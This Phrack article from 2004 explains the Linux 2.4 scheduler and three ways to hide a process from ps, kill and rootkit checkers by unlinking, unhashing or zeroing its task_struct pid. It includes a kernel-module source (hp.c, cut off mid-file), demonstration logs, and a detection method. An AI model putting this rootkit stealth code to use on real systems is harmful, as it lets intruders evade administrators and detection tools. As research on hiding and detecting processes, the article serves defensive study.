==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x12 of 0x14
|=------=[ hiding processes ( understanding the linux scheduler ) ]=----=|
|=-----------------------------------------------------------------------=|
|=------------=[ by ubra from PHI Group -- 17 October 2004 ]=-----------=|
|=-----=[ mail://ubra_phi.group.za.org http://w3.phi.group.za.org ]=----=|
--[ Table of contents
1 - looking back
2 - the schedule(r) inside
3 - abusing the silence ( attacking )
4 - can you scream ? ( countering )
5 - references
6 - and the game dont stop..
7 - sources
--[ 1 - looking back
We begin our journey in the old days, when simply giving your
process a weird name was enough to hide inside the tree. Sadly this is
also quite effective these days due to lack of skill from stock admins.
In the last millenium ..well actualy just before 1999, backdooring
binaries was very popular (ps, top, pstree and others [1]) but this was
very easy to spot, `ls -l` easy / although some could only be cought by
a combination of size and some checksum / (i speak having in mind the
skilled admin, because, in my view, an admin that isnt a bit hackerish
is just the guy mopping up the keyboard). And it was a pain in the ass
compatibility wise.
LRK (linux root kit) [2] is a good example of a "binary" kit.
Not that long ago hackers started to turn towards the kernel to do their
evil or to secure it. So,like everywhere this was an incremental process,
starting from the upper level and going more inside kernel structures.
The obvious place to look first were system calls, the entry point from
userland to wonderland, and so the hooking method developed, be it by
altering the sys_call_table[] (theres an article out there LKM_HACKING
by pragmatic from THC about this [3]), or placing a jump inside the
function body to your own code (developed by Silvio Cesare [4]) or even
catching them at interrupt level (read about this in [5]).. and with this,
one could intercept certain interesting system calls.
But syscalls are by no means the last (first) point where the pid
structures get assembled. getdents() and alike are just calling on some
other function, and they are doing this by means of yet another layer,
going through the so called VFS. Hacking this VFS (Virtual FileSystem
layer) is the new trend on todays kits; and since all unices are basicaly
comprised of the same logical layers, this is (was) very portable. So as
you see we are building from higher levels, programming wise, to lower
levels; from simply backdoring the source of our troubles to going closer
to the root, to the syscalls (and the functions that are
"syscall-helpers"). The VFS is not by all means as low as we can go
(hehe we hackers enjoy rolling in the mud of the kernel). We yet have to
explore the last frontier (well relatively speaking any new frontier is
the last). Yup, the very structures that help create the pid list -
the task_structs. And this is where our journey
begins.
Some notes.. kernel studied is from 2.4 branch (2.4.18 for source
excerpts and 2.4.30 for patches and example code), theres some x86
specific code (sorry, i dont have access to other archs), also SMP is
not discussed for the same reason and anyway it should be clear in the
end what will be different from UP machines.
/*
it seems the method i explain here is begining to emerge in part
into the open underground in zero rk made by stealth from team teso, theres
an article about it in phrack 61 [6], i was just about to miss the small
REMOVE_LINKS looking so innocent there :-)
*/
--[ 2 - the schedule(r) inside
As processes give birth to other processes (just like in real life)
they call on execve() or fork() syscalls to either get replaced or get
splited into two different processes, a few things happen. We will look
into fork as this is more interesting from our point of view.
$ grep -rn sys_fork src/linux/
For i386 compatible archs which is what I have, you will see that
without any introduction this function calls do_fork() which is where the
arch independent work gets done. It is in kernel/fork.c.
<codesnip src="arch/i386/kernel/process.c" line=747>
asmlinkage int sys_fork(struct pt_regs regs)
{
return do_fork(SIGCHLD, regs.esp, ®s, 0);
}
</codesnip src="arch/i386/kernel/process.c">
Besides great things which are not within the scope of this here,
do_fork() allocates memory for a new task_struct
<codesnip src="kernel/fork.c" line=587>
int do_fork(unsigned long clone_flags, unsigned long stack_start,
struct pt_regs *regs, unsigned long stack_size)
{
.......
struct task_struct *p;
.......
p = alloc_task_struct();
</codesnip src="kernel/fork.c">
and does some stuff on it like initializing the run_list,
<codesnip src="kernel/fork.c" line=653>
INIT_LIST_HEAD(&p->run_list);
</codesnip src="kernel/fork.c">
which is basicaly a pointer (you should read about the linux linked list
implementation to grasp this clearly [7]) that will be used in a linked
list of all the processes waiting for the cpu and those expired (that got
the cpu taken away, not released it willingly by means of schedule()),
used inside the schedule() function.
The current priority array of what task queue we are in
<codesnip src="kernel/fork.c" line=687>
p->array = NULL;
</codesnip src="kernel/fork.c">
(well we arent in any yet); the prio array and the runqueues are used
inside the schedule() function to organize the tasks running and needing to
be run.
<codesnip src="kernel/sched.c" line=124>
typedef struct runqueue runqueue_t;
struct prio_array {
int nr_active;
spinlock_t *lock;
runqueue_t *rq;
unsigned long bitmap[BITMAP_SIZE];
list_t queue[MAX_PRIO];
};
/*
* This is the main, per-CPU runqueue data structure.
*
* Locking rule: those places that want to lock multiple runqueues
* (such as the load balancing or the process migration code), lock
* acquire operations must be ordered by ascending &runqueue.
*/
struct runqueue {
spinlock_t lock;
unsigned long nr_running, nr_switches, expired_timestamp;
task_t *curr, *idle;
prio_array_t *active, *expired, arrays[2];
int prev_nr_running[NR_CPUS];
} ____cacheline_aligned;
static struct runqueue runqueues[NR_CPUS] __cacheline_aligned;
</codesnip src="kernel/sched.c">
We`ll be discussing more about this later.
The cpu time that this child will get; half the parent has goes to
the child (the cpu time is the amout of time the task will get the
processor for itself).
<codesnip src="kernel/fork.c" line=727>
p->time_slice = (current->time_slice + 1) >> 1;
current->time_slice >>= 1;
if (!current->time_slice) {
/*
* This case is rare, it happens when the parent has only
* a single jiffy left from its timeslice. Taking the
* runqueue lock is not a problem.
*/
current->time_slice = 1;
scheduler_tick(0,0);
}
</codesnip src="kernel/fork.c">
(for the neophytes, ">> 1" is the same as "/ 2")
Next we get the tasklist lock for write to place the new process in
the linked list and pidhash list
<codesnip src="kernel/fork.c" line=752>
write_lock_irq(&tasklist_lock);
.......
SET_LINKS(p);
hash_pid(p);
nr_threads++;
write_unlock_irq(&tasklist_lock);
</codesnip src="kernel/fork.c">
and release the lock. include/linux/sched.h has these macro and inline
functions, and the struct task_struct also:
<codesnip src="include/linux/sched.h" line=292>
struct task_struct {
.......
task_t *next_task, *prev_task;
.......
task_t *pidhash_next;
task_t **pidhash_pprev;
</codesnip src="include/linux/sched.h">
<codesnip src="include/linux/sched.h" line=532>
#define PIDHASH_SZ (4096 >> 2)
extern task_t *pidhash[PIDHASH_SZ];
#define pid_hashfn(x) ((((x) >> 8) ^ (x)) & (PIDHASH_SZ - 1))
static inline void hash_pid(task_t *p)
{
task_t **htable = &pidhash[pid_hashfn(p->pid)];
if((p->pidhash_next = *htable) != NULL)
(*htable)->pidhash_pprev = &p->pidhash_next;
*htable = p;
p->pidhash_pprev = htable;
}
</codesnip src="include/linux/sched.h">
<codesnip src="include/linux/sched.h" line=863>
#define SET_LINKS(p) do { \
(p)->next_task = &init_task; \
(p)->prev_task = init_task.prev_task; \
init_task.prev_task->next_task = (p); \
init_task.prev_task = (p); \
(p)->p_ysptr = NULL; \
if (((p)->p_osptr = (p)->p_pptr->p_cptr) != NULL) \
(p)->p_osptr->p_ysptr = p; \
(p)->p_pptr->p_cptr = p; \
} while (0)
</codesnip src="include/linux/sched.h">
So, pidhash is an array of pointers to task_structs which hash to
the same pid, and are linked by means of pidhash_next/pidhash_pprev; this
list is used by syscalls which get a pid as parameter, like kill() or
ptrace(). The linked list is used by the /proc VFS and not only.
Last, the magic:
<codesnip src="kernel/fork.c" line=776>
#define RUN_CHILD_FIRST 1
#if RUN_CHILD_FIRST
wake_up_forked_process(p); /* do this last */
#else
wake_up_process(p); /* do this last */
#endif
</codesnip src="kernel/fork.c">
this is a function in kernel/sched.c which places the task_t (task_t is a
typedef to a struct task_struct) in the cpu runqueue.
<codesnip src="kernel/sched.c" line=347>
void wake_up_forked_process(task_t * p)
{
.......
p->state = TASK_RUNNING;
.......
activate_task(p, rq);
</codesnip src="kernel/sched.c">
So lets walk through a process that after it gets the cpu calls just
sys_nanosleep (sleep() is just a frontend) and jumps in a never ending loop,
ill try to make this short. After setting the task state to
TASK_INTERRUPTIBLE (makes sure we get off the cpu queue when schedule() is
called), sys_nanosleep() calls upon another function, schedule_timeout()
which sets us on a timer queue by means of add_timer() which makes sure we
get woken up (that we get back on the cpu queue) after the delay has
passed and effectively relinquishes the cpu by calling shedule() (most
blocking syscalls implement this by putting the process to sleep until the
perspective resource is available).
<codesnip src="kernel/timer.c" line=877>
asmlinkage long sys_nanosleep(struct timespec *rqtp, struct timespec *rmtp)
{
.......
current->state = TASK_INTERRUPTIBLE;
expire = schedule_timeout(expire);
</codesnip src="kernel/timer.c">
<codesnip src="kernel/timer.c" line=819>
signed long schedule_timeout(signed long timeout)
{
struct timer_list timer;
.......
init_timer(&timer);
timer.expires = expire;
timer.data = (unsigned long) current;
timer.function = process_timeout;
add_timer(&timer);
schedule();
</codesnip src="kernel/timer.c">
If you want to read more about timers look into [7].
Next, schedule() takes us off the runqueue since we already arranged
to be set on again there later by means of timers.
<codesnip src="kernel/sched.c" line=744>
asmlinkage void schedule(void)
{
.......
deactivate_task(prev, rq);
</codesnip src="kernel/sched.c">
(remember that wake_up_forked_process() called activate_task() to place us
on the active run queue). In case there are no tasks in the active queue
it tryes to get some from the expired array as it needs to set up for
another task to run.
<codesnip src="kernel/sched.c" line=784>
if (unlikely(!array->nr_active)) {
/*
* Switch the active and expired arrays.
*/
.......
</codesnip src="kernel/sched.c">
Then finds the first process there and prepares for the switch (if it
doesnt find any it just leaves the current task running).
<codesnip src="kernel/sched.c" line=805>
context_switch(prev, next);
</codesnip src="kernel/sched.c">
This is an inline function that prepares for the switch which will get done
in __switch_to() (switch_to() is just another inline function, sort of)
<codesnip src="kernel/sched.c" line=400>
static inline void context_switch(task_t *prev, task_t *next)
</codesnip src="kernel/sched.c">
<codesnip src="include/asm-i386/system.h" line=15>
#define prepare_to_switch() do { } while(0)
#define switch_to(prev,next,last) do { \
asm volatile("pushl %%esi\n\t" \
"pushl %%edi\n\t" \
"pushl %%ebp\n\t" \
"movl %%esp,%0\n\t" /* save ESP */ \
"movl %3,%%esp\n\t" /* restore ESP */ \
"movl $1f,%1\n\t" /* save EIP */ \
"pushl %4\n\t" /* restore EIP */ \
"jmp __switch_to\n" \
"1:\t" \
"popl %%ebp\n\t" \
"popl %%edi\n\t" \
"popl %%esi\n\t" \
:"=m" (prev->thread.esp),"=m" (prev->thread.eip), \
"=b" (last) \
:"m" (next->thread.esp),"m" (next->thread.eip), \
"a" (prev), "d" (next), \
"b" (prev)); \
} while (0)
</codesnip src="include/asm-i386/system.h">
Notice the "jmp __switch_to" inside all that assembly code that
simply arranges the arguments on the stack.
<codesnip src="arch/i386/kernel/process.c" line=682>
void __switch_to(struct task_struct *prev_p, struct task_struct *next_p)
{
</codesnip src="arch/i386/kernel/process.c">
context_switch() and switch_to() causes what is known as a context switch
(hence the name) which in not so many words is giving the processor and
memory control to another task.
But enough of this; now what happends when we jump in the never
ending loop. Well, its not actually a never ending loop, if it would be
your computer would just hang. What actually happends is that your task
gets the cpu taken away from it every once in a while and gets it back
after some other tasks get time to run (theres queueing mechanisms that
let tasks share the cpu based on theire priority, if our task would have
a real time priority it would have to release the cpu manualy by
sched_yeld()). So how exactly is this done; lets talk a bit about the
timer interrupt first coz its closely related.
This is a function like most things are in the linux kernel, and its
described in a struct
<codesnip src="arch/i386/kernel/time.c" line=556>
static struct irqaction irq0 = { timer_interrupt, SA_INTERRUPT, 0,
"timer", NULL, NULL};
</codesnip src="arch/i386/kernel/time.c">
and setup in time_init.
<codesnip src="arch/i386/kernel/time.c" line=635>
void __init time_init(void)
{
.......
#ifdef CONFIG_VISWS
.......
setup_irq(CO_IRQ_TIMER, &irq0);
#else
setup_irq(0, &irq0);
#endif
</codesnip src="arch/i386/kernel/time.c">
After this, every timer click, timer_interrupt() is called and at some
point calls do_timer_interrupt()
<codesnip src="arch/i386/kernel/time.c" line=466>
static void timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
{
.......
do_timer_interrupt(irq, NULL, regs);
</codesnip src="arch/i386/kernel/time.c">
which calls on do_timer (bare with me).
<codesnip src="arch/i386/kernel/time.c" line=393>
static inline void do_timer_interrupt(int irq, void *dev_id,
struct pt_regs *regs)
{
.......
do_timer(regs);
</codesnip src="arch/i386/kernel/time.c">
do_timer() does two things, first update the current process times and
second call on schedule_tick() which precurses schedule() by first taking
the current process of the active array and placing it in the expired
array; this is the place where bad processes (the dirty hogs :-) get
their cpu taken away from them.
<codesnip src="kernel/timer.c" line=665>
void do_timer(struct pt_regs *regs)
{
(*(unsigned long *)&jiffies)++;
#ifndef CONFIG_SMP
/* SMP process accounting uses the local APIC timer */
update_process_times(user_mode(regs));
#endif
</codesnip src="kernel/timer.c">
<codesnip src="kernel/timer.c" line=578>
/*
* Called from the timer interrupt handler to charge one tick to the
* current process. user_tick is 1 if the tick is user time, 0 for system.
*/
void update_process_times(int user_tick)
{
.......
update_one_process(p, user_tick, system, cpu);
scheduler_tick(user_tick, system);
}
</codesnip src="kernel/timer.c">
<codesnip src="kernel/sched.c" line=663>
/*
* This function gets called by the timer code, with HZ frequency.
* We call it with interrupts disabled.
*/
void scheduler_tick(int user_tick, int system)
{
.......
/* Task might have expired already, but not scheduled off yet */
if (p->array != rq->active) {
p->need_resched = 1;
return;
}
.......
if (!--p->time_slice) {
dequeue_task(p, rq->active);
p->need_resched = 1;
.......
if (!TASK_INTERACTIVE(p) || EXPIRED_STARVING(rq)) {
.......
enqueue_task(p, rq->expired);
} else
enqueue_task(p, rq->active);
}
</codesnip src="kernel/sched.c">
Notice the "need_resched" field of the task struct getting set; now the
ksoftirqd() task which is a kernel thread will catch this process and call
schedule()
[root@absinth root]# ps aux | grep ksoftirqd
root 3 0.0 0.0 0 0 ? SWN 11:45 0:00 [ksoftirqd_CPU0]
<codesnip src="kernel/softirq.c" line=398>
__init int spawn_ksoftirqd(void)
{
.......
for (cpu = 0; cpu < smp_num_cpus; cpu++) {
if (kernel_thread(ksoftirqd, (void *) (long) cpu,
CLONE_FS | CLONE_FILES | CLONE_SIGNAL) < 0)
printk("spawn_ksoftirqd() failed for cpu %d\n", cpu);
.......
__initcall(spawn_ksoftirqd);
</codesnip src="kernel/softirq.c">
<codesnip src="kernel/softirq.c" line=361>
static int ksoftirqd(void * __bind_cpu)
{
.......
for (;;) {
.......
if (current->need_resched)
schedule();
.......
</codesnip src="kernel/softirq.c">
And if all this seems bogling to you dont worry, just walk through
the kernel sources again from the begining and try to understand more than
im explaining here, no one expects you to understand from the first read
through such a complicated process like the linux scheduling.. remeber that
the cookie lies in the details ;-) you can read more about the linux
scheduler in [7], [8] and [9]
Every cpu has its own runqueue, so apply the same logic for SMP;
So you can see how a process can be on any number of lists waiting
for execution, and if its not on the linked task_struct list we`re in big
trouble trying to find it. The linked and pidhash lists are NOT used by
the schedule() code to run your program as you saw, some syscalls do use
these (ptrace, alarm, the timers in general which use signals and all
calls that use a pid - for the pidhash list)
Another note to the reader..all example progs from the _attacking_
section will be anemic modules, no dev/kmem for you since i dont want my
work to wind up in some lame rk that would only contribute to wrecking the
net, although kmem counterparts have been developed and tested to work
fine, and also, with modules we are more portable, and our goal is to
present working examples that teach and dont krash your kernel; the
countering section will not have a kmem enabled prog simply because I'm
lazy and not in the mood to mess with elf relocations (yup to loop the
list in a reliable way we have to go in kernel with the code)..
I'll be providing a kernel patch though for those not doing modules.
You should know that if any modules give errors like
"hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg"
when inserting, this is a "feature" (heh) so that you wont have to rmmod
it, the modules do the job theyre supposed to.
--[ 3 - abusing the silence ( attacking )
If you dont have the IQ of a windoz admin, it should be pretty clear
to you by now where we are going with this. Oh im sorry i meant to say
"Windows (TM) admin (TM)" but the insult still goes. Since the linked list
and pidhash have no use to the scheduler, a program, a task in general
(kernel threads also) can run happy w/o them. So we remove it from there
with REMOVE_LINKS/unhash_pid and if youve been a happy hacker looking at
all of the sources ive listed you know by now what these 2 functions do.
All that will suffer from this operation is the IPC methods (Inter Process
Comunications); heh well were invisible why the fuck would we answer if
someone asks "is someone there ?" :) however since only the linked list is
used to output in ps and alike we could leave pidhash untouched so that
kill/ptrace/timers.. will work as usualy. but i dont see why would anyone
want this as a simple bruteforce of the pid space with kill(pid,0) can
uncover you.. See pisu program that i made that does just that but using 76
syscalls besides kill that "leak" pid info from the two list structures. So
you get the picture, right ?
hp.c is a simple module to hide a task:
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/hp.c -o src/hp.o
[Method 1]
Now to show you what happends when we unlink the process from certain
lists; first from the linked list
[root@absinth ksched]# ps aux | grep sleep
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
root 1131 0.0 0.4 1700 600 pts/2 R 22:00 0:00 grep sleep
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 13 22:02:50 absinth kernel: [HP] address of task struct for pid
1129 is 0xc0f44000
Mar 13 22:02:50 absinth kernel: [HP] removing process links
[root@absinth ksched]# ps aux | grep sleep
root 1140 0.0 0.4 1700 608 pts/2 S 22:03 0:00 grep sleep
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 13 22:03:53 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 13 22:03:53 absinth kernel: [HP] setting process links
[root@absinth ksched]# ps aux | grep sleep
root 1129 0.0 0.5 1848 672 pts/4 S 22:00 0:00 sleep 666
root 1143 0.0 0.4 1700 608 pts/2 S 22:04 0:00 grep sleep
[root@absinth ksched]#
[Method 2] (actualy an added enhacement to method 1)
Point made. Now from the hash list
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=2
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 13 22:07:04 absinth kernel: [HP] address of task struct for pid 1129
is 0xc0f44000
Mar 13 22:07:04 absinth kernel: [HP] unhashing pid
[root@absinth ksched]# insmod hp.o task=0xc0f44000 method=2
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 13 22:07:18 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 13 22:07:18 absinth kernel: [HP] hashing pid
[root@absinth ksched]# kill -9 1129
[root@absinth ksched]#
So upon removing from the hash list the process also becomes invulnerable
to kill signals and any other syscalls that use the hash list for that
matter. This also hides your task from methods of uncovering like
kill(pid,0) which chkrootkit [10] uses.
* methods 1 and 2 arent that good at hideing shells since most have builtin
job control and that requires a working find_task_by_pid() and
for_each_task() (look at sys_setpgid() sources), however, if you know how
to disable that it works just fine :P ok ill give you a hint, make the
standard output/input not a terminal.
[Method 3]
But this is kids stuff; lets abuse the way the function that generates the
pid list for the /proc VFS works.
<codesnip src="fs/proc/base.c" line=1057>
static int get_pid_list(int index, unsigned int *pids)
{
.......
for_each_task(p) {
.......
if (!pid)
continue;
</codesnip src="fs/proc/base.c">
Have you spoted the not ? :-) cmon its easy, just make our pid 0 and we
wont get listed (pid 0 tasks are of a special kernel breed and thats why
they dont get listed there - actualy the kernel itself, the first "task"
and its cloned children like the swapper); also since we are changing the
pid but not rehashing the pid position in the hash list all searches for
pid 0 will go to the wrong hash and all searches for our old pid will
find a task with a pid of 0, well it will fail each time. An interesting
side effect of having pid 0 is that the task can call clone() [11] with a
flag of CLONE_PID, effectively spawning hidden children as well;
aint that a threat? The old pid can be recovered from tgid member of the
task_struct since getpid() does it so can we, and moreover this method
is so safe to do from user space since we arent complicating with
possible race conditions screwing with the task list pointers. Well safe
as long as your process doesnt exit as we are just changing its pid..
<codesnip src="kernel/timer.c" line=710>
asmlinkage long sys_getpid(void)
{
/* This is SMP safe - current->pid doesn't change */
return current->tgid;
}
</codesnip src="kernel/timer.c">
btw if we change only the pid to 0 there will be no danger that another
process migth be assigned the same pid we _had_ because in the get_pid()
func theres a check for tgid also, which we leave untouched and use to
restore the pid (just read the source for hp.c)
[root@absinth ksched]# ps aux | grep sleep
root 1991 0.2 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
root 1993 0.0 0.4 1700 608 pts/6 S 19:13 0:00 grep sleep
[root@absinth ksched]# insmod hp.o pid=`pidof sleep` method=4
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -2 /var/log/messages
Mar 16 19:14:07 absinth kernel: [HP] address of task struct for pid 1991
is 0xc30f0000
Mar 16 19:14:07 absinth kernel: [HP] zerofing pid
[root@absinth ksched]# ps aux | grep sleep
root 1999 0.0 0.4 1700 600 pts/6 R 19:14 0:00 grep sleep
[root@absinth ksched]# kill -9 1991
bash: kill: (1991) - No such process
[root@absinth ksched]# insmod hp.o task=0xc30f0000 method=4
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
[root@absinth ksched]# tail -1 /var/log/messages
Mar 16 19:14:47 absinth kernel: [HP] unhideing task at addr 0xc0f44000
Mar 16 19:14:47 absinth kernel: [HP] reverting zero pid to 1991
[root@absinth ksched]# ps aux | grep sleep
root 1991 0.0 0.5 1848 672 pts/7 S 19:13 0:00 sleep 666
[root@absinth ksched]#
See how cool is this? I might say that all this article is about is
zerofing pids in task_structs :-)
(and you only have to change 2 bytes at most to hide a process !)
* your task should never call exit when having pid 0 or it will suck from
do_exit which is called by sys_exit
<codesnip src="kernel/exit.c" line=480>
NORET_TYPE void do_exit(long code)
{
.......
if (!tsk->pid)
panic("Attempted to kill the idle task!");
<codesnip src="kernel/exit.c">
That is if you hide your shell like this be sure to unhide it (set its pid
to something) before you `exit`.. or , dont mind me and exit the whole
system hehe. In a compromised environment do_exit could have that
particular part overwritten with nops (no operation instruction - an
asm op code that does nothing).
You can use for the method field when insmoding hp.o any combination of the
3 bit flags presented
--[ 4 - can you scream ? ( countering)
Should you scream? Well, yes. Detecting the first method can be a
waiting game or at best, a hide and seek pain-in-the-ass inside all the
waiting queues around the kernel, while holding the big lock. But no, its
not imposible to find a hidden process even if it could mean running a rt
task that will take over the cpu(s) and binary search the kmem device.
This could be done as a brute force for certain magic numbers inside the
task struct whithin the memory range one could get allocated and look if
its valid with something like testing its virtual memory structures but
this has the potential to be very unreliable (and ..hard).
Finding tasks that are hiden this way is a pain as no other structure
contains a single tasks list so that in a smooth soop we could itterate and
see what is not inside the linked list and pidhash and if there would be we
wouldve probably removed out task from there too hehe. If you think by now
this will be the ultimate kiddie-method, hope no more, were smart people,
for every problem we release the cure also. So there is a ..way :) .. a
clever way exploiting what every process desires, the need to run ;-} *evil
grin*
This method can take a while however, if a process blocks on some call like
listen() since we only catch them when they _run_ while being _hidden_.
Other checks could verify the integrity of the linked list, like the
order in the list and the time stamps or something (know that ptrace() [12]
fucks with this order).
To backdoor switch_to (more exactly __switch_to, remember the first
is a define) is a bit tricky from a module, however ive done it but it
doesnt seem very portable so instead, from a module, we hook the syscall
gate thus exploiting the *need to call* of programs :-), which is very
easy, and every program in order to run usefuly has to call some syscalls,
right?
But so that you know, to trap into schedule() from a module (or from kmem
for that matter) we find the address of __switch_to(). We could do this
two ways, either do some pattern matching for calls inside schedule() or
notice that sys_fork() is right after __switch_to() and do some math.
After that just insert a hook at the end of __switch_to (doing it before
__switch_to would make our code execute in unsafe environment - krash -
since its a partialy switched environment).
So this is what the module does, the kernel patch, sh.patch uses the
mentioned need to run of processes by inserting a call inside the
schedule() function which was described earlier and checks the structs
against the current process.
So how do we deal with _real_ pid 0 tasks, that we dont catch them
as being rogues? Remember what ive said about the pid 0 tasks being a
special breed, they are kernel threads in effect so we can differentiate
them from normal user land processes because they have no allocated memory
struct / no userland memory dooh! / and no connected binary format struct
for that matter (a special case would be when one would have its evil task
as a mangled kernel thread but i guess we could tell even then by name or
the number of active kernel threads if its an evil one).
Anyway for an example with the *need ro call* method.. For this we launch a
bash session so that we can _put it on the run queue_ by writing some
command on it.. like i said, we catch these tasks only when they do
syscalls
[root@absinth ksched]# gcc -c -I/$LINUXSRC/include src/sht.c -o src/sht.o
[root@absinth ksched]# insmod sht.o
[root@absinth ksched]# insmod hp.o pid=`pidof hidden_bash` method=1
hp.o: init_module: Device or resource busy
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters
You may find more information in syslog or the output from dmesg
( now we type some command in the hidden bash session to make it run )
[root@absinth root]# tail /var/log/messages
.......
Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr
0xc72f0000 syscall 175 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
list / pid is valid )
Jul 8 19:43:26 absinth kernel: [SHT] task pid 562 <bash> task addr
0xc72f0000 syscall 3 - TASK IS HIDDEN ( NOT ON LINKED LIST / on pidhash
list / pid is valid )
[root@absinth ksched]# rmmod sht
Voila. It works.. it also looks for unhashed or pid 0 tasks; the only
problem atm is the big output which ill sort out with some list hashed by
the task address/pid/processor/start_time so that we only get 1 warning
per hidden process :-/
To use the kernel patch instead of the module change to the top of your
linux source tree and apply it with `patch -p0 < sh.patch` (if you have a
layout like /usr/src/linux/, cd into /usr/src/). The patch is for the
2.4.30 branch (although it migth work with other 2.4 kernels; if you need
it for other kernel versions check with me) and it works just like the
module just that it hooks directly into the schedule() function and so can
catch sooner any hidden tasks.
Now if some of you are thinking at this point why make public
research like this when its most likely to get abused, my answer is
simple, dont be an ignorant, if i have found most of this things on my own
I dont have any reason to believe others havent and its most likely to
already been used in the wild, maybe not that widespead but lacking the
right tools to peek in the kernel memory, we would never know if and how
used it is already. So shut your suck hole .. the only ppl hurting from
this are the underground hackers, but then again they are brigth people
and other more leet methods are ahead :-) just think about hideing a task
inside another task (sshutup ubra !! lol no peeking)
.. you will read about it probably in another small article
--[ 5 - references
[1] manual pages for ps(1) , top(1) , pstree(1) and the proc(5) interface
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=ps
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=top
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=pstree
http://linux.com.hk/PenguinWeb/manpage.jsp?section=5&name=proc
[2] LRK - Linux Root Kit
by Lord Somer <webmaster@lordsomer.com>
http://packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz
[3] LKM HACKING
by pragmatic from THC
http://reactor-core.org/linux-kernel-hacking.html
[4] Syscall redirection without modifying the syscall table
by Silvio Cesare <silvio@big.net.au>
http://www.big.net.au/~silvio/stealth-syscall.txt
http://spitzner.org/winwoes/mtx/articles/syscall.htm
[5] Phrack 59/0x04 - Handling the Interrupt Descriptor Table
by kad <kadamyse@altern.org>
http://www.phrack.org/show.php?p=59&a=4
[6] Phrack 61/0x0e - Kernel Rootkit Experiences
by stealth <stealth@segfault.net>
http://www.phrack.org/show.php?p=61&a=14
[7] Linux kernel internals #Process and Interrupt Management
by Tigran Aivazian <tigran@veritas.com>
http://www.tldp.org/LDP/lki/lki.html
[8] Scheduling in UNIX and Linux
by moz <moz@compsoc.man.ac.uk>
http://www.kernelnewbies.org/documents/schedule/
[9] KernelAnalysis-HOWTO #Linux Multitasking
by Roberto Arcomano <berto@fatamorgana.com>
http://www.tldp.org/HOWTO/KernelAnalysis-HOWTO.html
[10] chkrootkit - CHecK ROOT KIT
by Nelson Murilo <nelson@pangeia.com.br>
http://www.chkrootkit.org/
[11] manual page for clone(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=clone
[12] manual page for ptrace(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=ptrace
--[ 6 - and the game dont stop..
Hei fukers! octavian, trog, slider, raven and everyone else I keep
close with, thanks for being there and wasteing time with me, sometimes I
really need that ; ruffus , nirolf and vadim wtf lets get the old team on
again .. bafta pe oriunde sunteti dudes.
If you notice any typos, mistakes, have anything to communicate with
me feel free make contact.
web - w3.phi.group.eu.org
mail - ubra_phi.group.eu.org
irc - Efnet/Undernet #PHI
* the contact info and web site is and will not be valid/up for a few
weeks while im moving house, sorry ill get things settled ASAP ( that
is up until about august of 2005 ), meanwhile you can get in touch
with me on the email dragosg_personal.ro
--[ 7 - sources
<++> src/Makefile
all: sht.c hp.c
gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c
<-->
<++> src/hp.c
/*|
* hp - hide pid v1.0.0
* hides a pid using different methods
* ( demo code for hideing processes paper )
*
* syntax : insmod hp.o (pid=pid_no|task=task_addr) [method=0x1|0x2|0x4]
*
* coded in 2004 by ubra from PHI Group
* web - ubra.phi.group.za.org
* mail - ubra_phi.group.za.org
* irc - Efnet/Undernet#PHI
|*/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
pid_t pid = 0 ;
struct task_struct *task = 0 ;
unsigned char method = 0x3 ;
int init_module ( ) {
if ( pid ) {
task = find_task_by_pid(pid) ;
printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task ) ;
if ( task ) {
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] removing process links\n") ;
REMOVE_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] unhashing pid\n") ;
unhash_pid(task) ;
}
if ( method & 0x4 ) {
printk("[HP] zerofing pid\n") ;
task->pid == 0 ;
}
write_unlock_irq(&tasklist_lock) ;
}
} else if ( task ) {
printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ;
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] setting process links\n") ;
SET_LINKS(task) ;
}
